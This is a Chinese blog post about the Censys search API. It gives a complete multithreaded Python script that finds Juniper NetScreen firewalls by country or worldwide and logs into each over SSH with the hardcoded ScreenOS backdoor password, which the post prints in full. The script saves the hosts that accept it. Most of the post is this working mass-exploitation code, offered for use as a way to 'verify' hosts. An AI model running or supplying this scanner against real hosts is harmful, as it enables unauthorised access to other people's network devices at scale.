利用Censys批量获取Juniper Netscreen后门



Censys是一款用以搜索联网设备信息的新型搜索引擎,安全专家可以使用它来评估他们实现方案的安全性,而黑客则可以使用它作为前期侦查攻击目标、收集目标信息的强大利器。其功能与十分流行的Shodan十分相似,然而与Shodan相比其优势在于这是一款免费的搜索引擎,最初由密歇根大学的研究人员在10月发行,目前由谷歌提供支持。关于Censys的具体介绍可参考http://www.freebuf.com/news/89285.html

Juniper高级副总裁兼首席信息安全官Bob Worrall称,在最近的内部代码审计过程中发现了两枚漏洞,影响ScreenOS 6.2.0r15—6.2.0r18,6.3.0r12—6.3.0r20版本。其中一个是未授权代码漏洞,可解密VPN流量;另外一个可允许攻击者通过SSH或者telnet远程管理访问设备。Juniper提到这些系统的访问会被记录,密码认证也会成功,但是攻击者可改变或者删除日志条目。关于漏洞具体介绍可参考http://www.freebuf.com/news/90323.html

了解到该漏洞后我尝试着使用Censys搜索可能存在后门的主机并批量进行验证。在完成这项工作之前请先让我带领大家大体了解一下Censys中API的使用方法。

首先,你需要有一个帐号,Censys是免费开放注册的,所以这个应该很简单。注册好后在我们的账户页面可以看到Censys为我们每人分配了一个APIID和一个Secret,另外我们还注意到下面有一个搜索频率的限制,使用API的话每5分钟只能搜索120次,这个问题我们下面再处理。

 打开API页面,我们看到,Censys提供了search、view、report、query、export以及data六种API接口。

在提供的API方法中,我们使用最多的应该就是search了,所以,我大体介绍一下search的使用方法。search接口的请求地址是https://www.censys.io/api/v1/search/?,其中?的地方可以是ipv4、websites或者certificates,分别代表搜索ipv4主机、网站和证书。我们的POST请求应该是一组包含query、page、fields的json数据,其中query指的是相应的搜索语句;page代表返回的页码,Censys总是返回一页的数据,即如果你page设置的5,那么其返回的并不是前5页的数据,而是第5页的数据;fields指的是你希望返回值中包含哪些字段,具体包含哪些字段你可以自己去看一下。

通过上面的介绍我们就可以使用Censys来获取数据了,比如说如果你想获取所有apache的服务器,你可以像下面这样来构造代码:

import sys
import json
import requests
   
API_URL = "https://www.censys.io/api/v1"
UID = "YOUR API ID"
SECRET = "YOUR SECRET"

data = {
    "query":"80.http.get.headers.server: apache", 
    "page":1, 
    "fields":["ip", "location.country"]
}

res = requests.post(API_URL + "/search/ipv4", data=json.dumps(data), auth=(UID, SECRET))
results = res.json()
if res.status_code != 200:
    print "error occurred: %s" % results["error"]
    sys.exit(1)
for result in results["results"]:
    print "%s in %s" % (result["ip"], result["location.country"][0])

当然,上面一段代码只返回了第一页的数据,如果你想获得大量数据可以设置一个page变量循环获取,注意:page要从1开始循环而不是从0哦。当然,这样的话问题就来了,Censys只允许我们每5分钟请求120次,直接遍历的话会出现错误,因此我添加了一个延时器,如果一次请求所用的时间少于2.5秒,我就延时剩余的时间,否则的话就直接进行下一次查询。当然,你或许会有更好的方法来解决这个问题。

介绍完Censys,就应该进入正题了,其实检查设备是否有后门就是看该主机可不可以使用user = “root”,password = “<<< %s(un=’%s’) = %u”登录其SSH。我使用了pexpect模块的pxssh来登录远程SSH,具体代码如下:

def connectSSH(host, user, passwd):
try:
    ssh = pxssh.pxssh()
    ssh.login(host, user, passwd, auto_prompt_reset = False)
    return ssh
except Exception, e:
    print "%s is not vul" % host

其实由于登录后并不是传统的SSH,而是该防火墙的操作终端,因此pxssh会认为并没有登录成功,而是返回超时异常,此时我们检测其返回的before字段如果有Remote Management Console字样就说明该主机存在后门。

整合其所有代码并加入多线程进行优化后,我们就可以实时获取可能存在后门的主机并对其进行检测了,整合后的代码地址:https://github.com/s0m30ne/JuniperBackdoor

from pexpect import pxssh
  from Queue import Queue
  import threading
  import time
  import re
  import sys
  import json
  import requests
  import math
   
  user = "root"
  passwd = "<<< %s(un='%s') = %u"
   
  API_URL = "https://www.censys.io/api/v1"
  UID = "YOUR UID"
  SECRET = "YOUR SECRET"
   
  PAGES = 50
  cur_page = 1
  thread_num = 20
  over_num = 0
  queue = Queue()
   
  ip_OK = open("ip_OK.txt", "w")
   
  class testTarget(threading.Thread):
  def __init__(self):
  threading.Thread.__init__(self)
   
  def run(self):
  global queue
  global ip_OK
  global over_num
  global thread_num
  is_over = False
  while not is_over:
  for i in range(5):
  if not queue.empty():
  ip = queue.get()
  else:
  is_over = True
  over_num += 1
  if over_num == thread_num:
  ip_OK.close()
  sys.exit()
  break
  theSSH = connectSSH(ip, user, passwd)
  if theSSH:
  before = theSSH.before
  try:
  theSSH.logout()
  except:
  pass
  isval = re.search('Remote Management Console', before)
  if isval:
  print "%s is vul" % ip
  ip_OK.write("%s\n" % ip)
  ip_OK.flush()
  else:
  print "%s is not vul" %ip
  time.sleep(1)
   
  def connectSSH(host, user, passwd):
  try:
  ssh = pxssh.pxssh()
  ssh.login(host, user, passwd, auto_prompt_reset = False)
  return ssh
  except Exception, e:
  print "%s is not vul" % host
   
  def getIp(query, page):
  start_time = time.time()
  data = {
  "query":query,
  "page":page,
  "fields":["ip"]
  }
  try:
  res = requests.post(API_URL + "/search/ipv4", data=json.dumps(data), auth=(UID, SECRET))
  except:
  pass
  else:
  try:
  results = res.json()
  except:
  pass
  else:
  if res.status_code != 200:
  print "error occurred: %s" % results["error"]
  sys.exit(1)
  else:
  result_iter = iter(results["results"])
  for result in result_iter:
  queue.put(result["ip"])
   
  def test():
  for i in range(thread_num):
  t = testTarget()
  t.start()
   
  if __name__ == '__main__':
  if len(sys.argv) != 2:
  print """
  usage:
  using python JuniperBackdoor.py [country] to scan the hosts
  in the country you set
 
  using python JuniperBackdoor.py ALL to scan the hole world
  """
  sys.exit()
  else:
  country = sys.argv[1]
  if country == "ALL":
  query = "22.ssh.banner.software_version:NetScreen"
  else:
  query = "22.ssh.banner.software_version:NetScreen AND location.country:%s" % country
  getIp(query, cur_page)
  if not queue.empty():
  test()
  while queue.qsize() > 0:
  if cur_page <= PAGES:
  getIp(query, cur_page)
  cur_page += 1
  time.sleep(0.1)


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值